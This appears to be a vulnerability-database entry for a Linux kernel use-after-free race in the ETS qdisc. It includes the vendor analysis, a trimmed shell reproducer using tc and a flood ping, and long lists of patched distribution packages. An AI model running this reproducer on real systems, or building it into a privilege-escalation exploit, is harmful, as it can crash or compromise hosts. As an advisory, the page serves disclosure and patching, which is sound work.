CVE-2025-71066 json
net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change
published 9mo ago modified 3mo ago also EUVD-2026-2266
- cvss
- 7.8
- version 3.1, CNA
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- 0.2%
- EPSS 0.2% chance of exploitation in 30 days, percentile 6%
- public exploits
- 0
- none known
Summary
In the Linux kernel, the following vulnerability has been resolved:
net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change
zdi-disclosures@trendmicro.com says:
The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis.
Analysis:
static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ...
// (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch);
for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); }
WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap));
for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]);
for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); }
// (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch);
ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; }
Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc
Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com)
``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}"
SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"
cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT
ip link set "$DEV" up
tc qdisc del dev "$DEV" root 2>/dev/null || true
tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"
tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV
ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---
Patch / fix
- Linux Linux 5.10.248, 5.15.198, 6.1.160, 6.6.120, 6.12.64, 6.18.3, 6.19
- linux Debian 12 6.1.162-1
- linux Debian 13 6.12.69-1
- linux Debian 14 6.18.3-1
debian advisories DEBIAN-CVE-2025-71066
- linux Ubuntu 22.04 LTS 5.15.0-173.183
- linux Ubuntu 24.04 LTS 6.8.0-110.110
- linux Ubuntu 25.10 6.17.0-22.22
- linux-aws Ubuntu 22.04 LTS 5.15.0-1103.110
- linux-aws Ubuntu 24.04 LTS 6.8.0-1052.55
- linux-aws Ubuntu 25.10 6.17.0-1012.12
- linux-gcp Ubuntu 22.04 LTS 5.15.0-1103.112
- linux-gcp Ubuntu 24.04 LTS 6.8.0-1054.57
ubuntu advisories UBUNTU-CVE-2025-71066
Ubuntu security data © Canonical Ltd., from https://github.com/canonical/ubuntu-security-notices via OSV; changed: normalised to fixed package versions per release. CC BY-SA 4.0
- kernel RHEL 8 4.18.0-553.143.1.el8_10
- perf RHEL 8 4.18.0-553.143.1.el8_10
- bpftool RHEL 8 4.18.0-553.143.1.el8_10
- kernel-core RHEL 8 4.18.0-553.143.1.el8_10
- kernel-tools RHEL 8 4.18.0-553.143.1.el8_10
- python3-perf RHEL 8 4.18.0-553.143.1.el8_10
- kernel-modules RHEL 8 4.18.0-553.143.1.el8_10
- kernel-zfcpdump RHEL 8 4.18.0-553.143.1.el8_10
red hat advisories RHSA-2026:39083RHSA-2026:39082RHSA-2026:36957RHSA-2026:36956
- kernel-source Linux Micro 6.1, Linux Micro 6.0 6.4.0-41.1
- kernel-default Linux Micro 6.1, Linux Micro 6.0 6.4.0-41.1
- kernel-kvmsmall Linux Micro 6.1, Linux Micro 6.0 6.4.0-41.1
- kernel-default-base Linux Micro 6.1, Linux Micro 6.0 6.4.0-41.1.21.18
- kernel-rt SLE Micro 5.4, SLE Micro 5.3 5.14.21-150400.15.145.1
- kernel-source-rt SLE Micro 5.4, SLE Micro 5.3 5.14.21-150400.15.145.1
- kernel-64kb SLE Module for Basesystem 15 SP7 6.4.0-150700.53.34.1
- kernel-syms SLE Module for Development Tools 15 SP7 6.4.0-150700.53.34.1
suse advisories SUSE-SU-2026:21123-1SUSE-SU-2026:21114-1SUSE-SU-2026:1131-1SUSE-SU-2026:1081-1SUSE-SU-2026:1077-1SUSE-SU-2026:1041-1
- kernel-rt openSUSE Leap 16.0 6.12.0-160000.26.1
- dtb-aarch64 openSUSE Leap 16.0 6.12.0-160000.26.1
- kernel-64kb openSUSE Leap 16.0 6.12.0-160000.26.1
- kernel-syms openSUSE Leap 16.0 6.12.0-160000.26.1
- kernel-azure openSUSE Leap 16.0 6.12.0-160000.26.1
- kernel-obs-qa openSUSE Leap 16.0 6.12.0-160000.26.1
- kernel-source openSUSE Leap 16.0 6.12.0-160000.26.1
- kernel-default openSUSE Leap 16.0 6.12.0-160000.26.1
opensuse advisories openSUSE-SU-2026:20287-1
- kernel-rt AlmaLinux 8 4.18.0-553.143.1.rt7.484.el8_10
- kernel-rt-core AlmaLinux 8 4.18.0-553.143.1.rt7.484.el8_10
- kernel-rt-modules AlmaLinux 8 4.18.0-553.143.1.rt7.484.el8_10
- kernel-rt-debug-core AlmaLinux 8 4.18.0-553.143.1.rt7.484.el8_10
- kernel-rt-debug-modules AlmaLinux 8 4.18.0-553.143.1.rt7.484.el8_10
- kernel-rt-modules-extra AlmaLinux 8 4.18.0-553.143.1.rt7.484.el8_10
- kernel-rt-debug-modules-extra AlmaLinux 8 4.18.0-553.143.1.rt7.484.el8_10
- kernel AlmaLinux 8 4.18.0-553.143.1.el8_10
almalinux advisories ALSA-2026:39082ALSA-2026:39083ALSA-2026:36956ALSA-2026:36957
- kernel Rocky Linux 9 5.14.0-687.24.1.el9_8
- kernel Rocky Linux 10 6.12.0-211.32.1.el10_2
rocky linux advisories RLSA-2026:36957RLSA-2026:36956
- git.kernel.org/stable/c/062d5d544e564473450d72e6af83077c2b2ff7c3 commit
- git.kernel.org/stable/c/c7f6e7cc14df72b997258216e99d897d2df0dbbd commit
- git.kernel.org/stable/c/a75d617a4ef08682f5cfaadc01d5141c87e019c9 commit
- git.kernel.org/stable/c/9987cda315c08f63a02423fa2f9a1f6602c861a0 commit
- git.kernel.org/stable/c/06bfb66a7c8b45e3fed01351a4b087410ae5ef39 commit
- git.kernel.org/stable/c/45466141da3c98a0c5fa88be0bc14b4b6a4bd75c commit
- git.kernel.org/stable/c/ce052b9402e461a9aded599f5b47e76bc727f7de commit
Is CVE-2025-71066 in your stack? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.
Check with FencerVendor advisories
What the vendors themselves say about their products: affected, fixed or not affected, and what to do.
red hat product security vex CVE-2025-71066 updated cvss 6.2
kernel: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change
-
Red Hat Enterprise Linux 9 kernel-rt, kernel-rt-kvm, kernel-rt-core, kernel-rt-modules, kernel-rt-debug-kvm, kernel-rt-debug-core, +12 moreaffected: no fix available
-
Red Hat CodeReady Linux Builder EUS (v.9.6) libperf 5.14.0-570.154.1.el9_6, kernel-debuginfo-common-s390x 5.14.0-570.154.1.el9_6, kernel-debuginfo-common-x86_64 5.14.0-570.154.1.el9_6, kernel-debuginfo-common-aarch64 5.14.0-570.154.1.el9_6, kernel-debuginfo-common-ppc64le 5.14.0-570.154.1.el9_6fixed: vendor fix RHSA-2026:94438
-
Red Hat Enterprise Linux AppStream (v. 9) rv 5.14.0-687.24.1.el9_8, perf 5.14.0-687.24.1.el9_8, rtla 5.14.0-687.24.1.el9_8, python3-perf 5.14.0-687.24.1.el9_8, kernel-devel-matched 5.14.0-687.24.1.el9_8, kernel-64k-devel-matched 5.14.0-687.24.1.el9_8, +7 morefixed: vendor fix RHSA-2026:36957
-
Red Hat Enterprise Linux AppStream (v. 10) rv 6.12.0-211.32.1.el10_2, perf 6.12.0-211.32.1.el10_2, rtla 6.12.0-211.32.1.el10_2, python3-perf 6.12.0-211.32.1.el10_2, kernel-devel-matched 6.12.0-211.32.1.el10_2, kernel-64k-devel-matched 6.12.0-211.32.1.el10_2, +7 morefixed: vendor fix RHSA-2026:36956
-
Red Hat Enterprise Linux AppStream E4S (v.9.2) perf 5.14.0-284.202.1.el9_2, rtla 5.14.0-284.202.1.el9_2, kernel-devel-matched 5.14.0-284.202.1.el9_2, kernel-64k-devel-matched 5.14.0-284.202.1.el9_2, kernel-debug-devel-matched 5.14.0-284.202.1.el9_2, kernel-debuginfo-common-s390x 5.14.0-284.202.1.el9_2, +5 morefixed: vendor fix RHSA-2026:94477
-
Red Hat Enterprise Linux AppStream E4S (v.9.4) rv 5.14.0-427.161.1.el9_4, perf 5.14.0-427.161.1.el9_4, rtla 5.14.0-427.161.1.el9_4, kernel-devel-matched 5.14.0-427.161.1.el9_4, kernel-64k-devel-matched 5.14.0-427.161.1.el9_4, kernel-debug-devel-matched 5.14.0-427.161.1.el9_4, +6 morefixed: vendor fix RHSA-2026:94109
-
Red Hat Enterprise Linux AppStream EUS (v. 10.0) rv 6.12.0-55.117.1.el10_0, perf 6.12.0-55.117.1.el10_0, rtla 6.12.0-55.117.1.el10_0, python3-perf 6.12.0-55.117.1.el10_0, kernel-devel-matched 6.12.0-55.117.1.el10_0, kernel-64k-devel-matched 6.12.0-55.117.1.el10_0, +7 morefixed: vendor fix RHSA-2026:94508
-
Red Hat Enterprise Linux AppStream EUS (v.9.6) rv 5.14.0-570.154.1.el9_6, perf 5.14.0-570.154.1.el9_6, rtla 5.14.0-570.154.1.el9_6, python3-perf 5.14.0-570.154.1.el9_6, kernel-devel-matched 5.14.0-570.154.1.el9_6, kernel-64k-devel-matched 5.14.0-570.154.1.el9_6, +7 morefixed: vendor fix RHSA-2026:94438
show 28 moreshow fewer
-
Red Hat Enterprise Linux BaseOS (v. 8) perf 4.18.0-553.143.1.el8_10, kernel 4.18.0-553.143.1.el8_10, bpftool 4.18.0-553.143.1.el8_10, kernel-core 4.18.0-553.143.1.el8_10, kernel-tools 4.18.0-553.143.1.el8_10, python3-perf 4.18.0-553.143.1.el8_10, +15 morefixed: vendor fix RHSA-2026:39083
-
Red Hat Enterprise Linux BaseOS (v. 9) kernel 5.14.0-687.24.1.el9_8, kernel-64k 5.14.0-687.24.1.el9_8, kernel-core 5.14.0-687.24.1.el9_8, kernel-tools 5.14.0-687.24.1.el9_8, kernel-modules 5.14.0-687.24.1.el9_8, kernel-64k-core 5.14.0-687.24.1.el9_8, +27 morefixed: vendor fix RHSA-2026:36957
-
Red Hat Enterprise Linux BaseOS (v. 10) kernel 6.12.0-211.32.1.el10_2, kernel-64k 6.12.0-211.32.1.el10_2, kernel-core 6.12.0-211.32.1.el10_2, kernel-tools 6.12.0-211.32.1.el10_2, kernel-modules 6.12.0-211.32.1.el10_2, kernel-64k-core 6.12.0-211.32.1.el10_2, +28 morefixed: vendor fix RHSA-2026:36956
-
Red Hat Enterprise Linux BaseOS AUS (v.8.6) perf 4.18.0-372.227.1.el8_6, kernel 4.18.0-372.227.1.el8_6, bpftool 4.18.0-372.227.1.el8_6, kernel-core 4.18.0-372.227.1.el8_6, kernel-tools 4.18.0-372.227.1.el8_6, python3-perf 4.18.0-372.227.1.el8_6, +8 morefixed: vendor fix RHSA-2026:94996
-
Red Hat Enterprise Linux BaseOS E4S (v.9.2) bpftool 7.0.0-284.202.1.el9_2, kernel 5.14.0-284.202.1.el9_2, kernel-64k 5.14.0-284.202.1.el9_2, kernel-core 5.14.0-284.202.1.el9_2, kernel-tools 5.14.0-284.202.1.el9_2, python3-perf 5.14.0-284.202.1.el9_2, +28 morefixed: vendor fix RHSA-2026:94477
-
Red Hat Enterprise Linux BaseOS E4S (v.9.4) bpftool 7.3.0-427.161.1.el9_4, kernel 5.14.0-427.161.1.el9_4, kernel-64k 5.14.0-427.161.1.el9_4, kernel-core 5.14.0-427.161.1.el9_4, kernel-tools 5.14.0-427.161.1.el9_4, python3-perf 5.14.0-427.161.1.el9_4, +28 morefixed: vendor fix RHSA-2026:94109
-
Red Hat Enterprise Linux BaseOS EUS (v. 10.0) kernel 6.12.0-55.117.1.el10_0, kernel-64k 6.12.0-55.117.1.el10_0, kernel-core 6.12.0-55.117.1.el10_0, kernel-tools 6.12.0-55.117.1.el10_0, kernel-modules 6.12.0-55.117.1.el10_0, kernel-64k-core 6.12.0-55.117.1.el10_0, +27 morefixed: vendor fix RHSA-2026:94508
-
Red Hat Enterprise Linux BaseOS EUS (v.9.6) kernel 5.14.0-570.154.1.el9_6, kernel-64k 5.14.0-570.154.1.el9_6, kernel-core 5.14.0-570.154.1.el9_6, kernel-tools 5.14.0-570.154.1.el9_6, kernel-modules 5.14.0-570.154.1.el9_6, kernel-64k-core 5.14.0-570.154.1.el9_6, +27 morefixed: vendor fix RHSA-2026:94438
-
Red Hat Enterprise Linux BaseOS EUS EXTENSION (v.8.6) perf 4.18.0-372.227.1.el8_6, kernel 4.18.0-372.227.1.el8_6, bpftool 4.18.0-372.227.1.el8_6, kernel-core 4.18.0-372.227.1.el8_6, kernel-tools 4.18.0-372.227.1.el8_6, python3-perf 4.18.0-372.227.1.el8_6, +8 morefixed: vendor fix RHSA-2026:94996
-
Red Hat Enterprise Linux CodeReady Linux Builder (v. 9) libperf 5.14.0-687.24.1.el9_8, kernel-debuginfo-common-s390x 5.14.0-687.24.1.el9_8, kernel-debuginfo-common-x86_64 5.14.0-687.24.1.el9_8, kernel-debuginfo-common-aarch64 5.14.0-687.24.1.el9_8, kernel-debuginfo-common-ppc64le 5.14.0-687.24.1.el9_8fixed: vendor fix RHSA-2026:36957
-
Red Hat Enterprise Linux CodeReady Linux Builder (v. 10) libperf 6.12.0-211.32.1.el10_2, kernel-debuginfo-common-s390x 6.12.0-211.32.1.el10_2, kernel-debuginfo-common-x86_64 6.12.0-211.32.1.el10_2, kernel-debuginfo-common-aarch64 6.12.0-211.32.1.el10_2, kernel-debuginfo-common-ppc64le 6.12.0-211.32.1.el10_2fixed: vendor fix RHSA-2026:36956
-
Red Hat Enterprise Linux CodeReady Linux Builder EUS (v. 10.0) libperf 6.12.0-55.117.1.el10_0, kernel-debuginfo-common-s390x 6.12.0-55.117.1.el10_0, kernel-debuginfo-common-x86_64 6.12.0-55.117.1.el10_0, kernel-debuginfo-common-aarch64 6.12.0-55.117.1.el10_0, kernel-debuginfo-common-ppc64le 6.12.0-55.117.1.el10_0fixed: vendor fix RHSA-2026:94508
-
Red Hat Enterprise Linux CRB (v. 8) kernel-debuginfo-common-x86_64 4.18.0-553.143.1.el8_10, kernel-debuginfo-common-aarch64 4.18.0-553.143.1.el8_10, kernel-debuginfo-common-ppc64le 4.18.0-553.143.1.el8_10fixed: vendor fix RHSA-2026:39083
-
Red Hat Enterprise Linux NFV (v. 8) kernel-rt 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-kvm 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-core 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-modules 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-debug-kvm 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-debug-core 4.18.0-553.143.1.rt7.484.el8_10, +4 morefixed: vendor fix RHSA-2026:39082
-
Red Hat Enterprise Linux Real Time (v. 9) kernel-rt 5.14.0-687.24.1.el9_8, kernel-rt-64k 5.14.0-687.24.1.el9_8, kernel-rt-core 5.14.0-687.24.1.el9_8, kernel-rt-modules 5.14.0-687.24.1.el9_8, kernel-rt-64k-core 5.14.0-687.24.1.el9_8, kernel-rt-debug-core 5.14.0-687.24.1.el9_8, +14 morefixed: vendor fix RHSA-2026:36957
-
Red Hat Enterprise Linux Real Time (v. 10) kernel-rt 6.12.0-211.32.1.el10_2, kernel-rt-64k 6.12.0-211.32.1.el10_2, kernel-rt-core 6.12.0-211.32.1.el10_2, kernel-rt-modules 6.12.0-211.32.1.el10_2, kernel-rt-64k-core 6.12.0-211.32.1.el10_2, kernel-rt-debug-core 6.12.0-211.32.1.el10_2, +14 morefixed: vendor fix RHSA-2026:36956
-
Red Hat Enterprise Linux Real Time E4S (v.9.2) kernel-rt 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-core 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-modules 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-debug-core 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-modules-core 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-debug-modules 5.14.0-284.202.1.rt14.487.el9_2, +4 morefixed: vendor fix RHSA-2026:94558
-
Red Hat Enterprise Linux Real Time E4S (v.9.4) kernel-rt 5.14.0-427.161.1.el9_4, kernel-rt-core 5.14.0-427.161.1.el9_4, kernel-rt-modules 5.14.0-427.161.1.el9_4, kernel-rt-debug-core 5.14.0-427.161.1.el9_4, kernel-rt-modules-core 5.14.0-427.161.1.el9_4, kernel-rt-debug-modules 5.14.0-427.161.1.el9_4, +4 morefixed: vendor fix RHSA-2026:94109
-
Red Hat Enterprise Linux Real Time EUS (v. 10.0) kernel-rt 6.12.0-55.117.1.el10_0, kernel-rt-64k 6.12.0-55.117.1.el10_0, kernel-rt-core 6.12.0-55.117.1.el10_0, kernel-rt-modules 6.12.0-55.117.1.el10_0, kernel-rt-64k-core 6.12.0-55.117.1.el10_0, kernel-rt-debug-core 6.12.0-55.117.1.el10_0, +14 morefixed: vendor fix RHSA-2026:94508
-
Red Hat Enterprise Linux Real Time EUS (v.9.6) kernel-rt 5.14.0-570.154.1.el9_6, kernel-rt-64k 5.14.0-570.154.1.el9_6, kernel-rt-core 5.14.0-570.154.1.el9_6, kernel-rt-modules 5.14.0-570.154.1.el9_6, kernel-rt-64k-core 5.14.0-570.154.1.el9_6, kernel-rt-debug-core 5.14.0-570.154.1.el9_6, +14 morefixed: vendor fix RHSA-2026:94438
-
Red Hat Enterprise Linux Real Time for NFV (v. 9) kernel-rt 5.14.0-687.24.1.el9_8, kernel-rt-core 5.14.0-687.24.1.el9_8, kernel-rt-modules 5.14.0-687.24.1.el9_8, kernel-rt-debug-core 5.14.0-687.24.1.el9_8, kernel-rt-modules-core 5.14.0-687.24.1.el9_8, kernel-rt-debug-modules 5.14.0-687.24.1.el9_8, +4 morefixed: vendor fix RHSA-2026:36957
-
Red Hat Enterprise Linux Real Time for NFV (v. 10) kernel-rt 6.12.0-211.32.1.el10_2, kernel-rt-core 6.12.0-211.32.1.el10_2, kernel-rt-modules 6.12.0-211.32.1.el10_2, kernel-rt-debug-core 6.12.0-211.32.1.el10_2, kernel-rt-modules-core 6.12.0-211.32.1.el10_2, kernel-rt-debug-modules 6.12.0-211.32.1.el10_2, +4 morefixed: vendor fix RHSA-2026:36956
-
Red Hat Enterprise Linux Real Time for NFV E4S (v.9.2) kernel-rt 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-kvm 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-core 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-modules 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-debug-kvm 5.14.0-284.202.1.rt14.487.el9_2, kernel-rt-debug-core 5.14.0-284.202.1.rt14.487.el9_2, +6 morefixed: vendor fix RHSA-2026:94558
-
Red Hat Enterprise Linux Real Time for NFV E4S (v.9.4) kernel-rt 5.14.0-427.161.1.el9_4, kernel-rt-kvm 5.14.0-427.161.1.el9_4, kernel-rt-core 5.14.0-427.161.1.el9_4, kernel-rt-modules 5.14.0-427.161.1.el9_4, kernel-rt-debug-kvm 5.14.0-427.161.1.el9_4, kernel-rt-debug-core 5.14.0-427.161.1.el9_4, +6 morefixed: vendor fix RHSA-2026:94109
-
Red Hat Enterprise Linux Real Time for NFV EUS (v. 10.0) kernel-rt 6.12.0-55.117.1.el10_0, kernel-rt-kvm 6.12.0-55.117.1.el10_0, kernel-rt-core 6.12.0-55.117.1.el10_0, kernel-rt-modules 6.12.0-55.117.1.el10_0, kernel-rt-debug-kvm 6.12.0-55.117.1.el10_0, kernel-rt-debug-core 6.12.0-55.117.1.el10_0, +6 morefixed: vendor fix RHSA-2026:94508
-
Red Hat Enterprise Linux Real Time for NFV EUS (v.9.6) kernel-rt 5.14.0-570.154.1.el9_6, kernel-rt-kvm 5.14.0-570.154.1.el9_6, kernel-rt-core 5.14.0-570.154.1.el9_6, kernel-rt-modules 5.14.0-570.154.1.el9_6, kernel-rt-debug-kvm 5.14.0-570.154.1.el9_6, kernel-rt-debug-core 5.14.0-570.154.1.el9_6, +6 morefixed: vendor fix RHSA-2026:94438
-
Red Hat Enterprise Linux RT (v. 8) kernel-rt 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-core 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-modules 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-debug-core 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-debug-modules 4.18.0-553.143.1.rt7.484.el8_10, kernel-rt-modules-extra 4.18.0-553.143.1.rt7.484.el8_10, +2 morefixed: vendor fix RHSA-2026:39082
-
Red Hat Enterprise Linux 6 perf, kernel, python-perf, kernel-kdump, kernel-firmware, kernel-bootwrapper, +1 more Red Hat Enterprise Linux 7 perf, kernel, bpftool, kernel-rt, python-perf, kernel-kdump, +8 morenot affected: vulnerable code not present
Red Hat CSAF VEX © Red Hat, Inc., from https://security.access.redhat.com/data/csaf/v2/vex/; changed: reduced to product statuses and remediations. CC BY 4.0 · csaf
CISA SSVC
- Exploitation
- none
- Automatable
- no
- Technical impact
- total
- Assessed
- 5mo ago
Exploit prediction
0.17% chance of exploitation in the next 30 days, higher than 6% of all scored CVEs (FIRST EPSS, 2026-11-09).
CVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| CNA | 3.1 | 7.8 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CISA ADP | 3.1 | 7.5 | CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H |
| CNA | 3.1 | 7.5 | CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H |
Affected products
- Linux Linux
Classification
- Weakness
-
- CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization
- Technology feeds
References
- git.kernel.org /stable/c/062d5d544e564473450d72e6af83077c2b2ff7c3
- git.kernel.org /stable/c/c7f6e7cc14df72b997258216e99d897d2df0dbbd
- git.kernel.org /stable/c/a75d617a4ef08682f5cfaadc01d5141c87e019c9
- git.kernel.org /stable/c/9987cda315c08f63a02423fa2f9a1f6602c861a0
- git.kernel.org /stable/c/06bfb66a7c8b45e3fed01351a4b087410ae5ef39
- git.kernel.org /stable/c/45466141da3c98a0c5fa88be0bc14b4b6a4bd75c
- git.kernel.org /stable/c/ce052b9402e461a9aded599f5b47e76bc727f7de
Sources
- CVE List CVE-2025-71066
- NVD CVE-2025-71066
Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.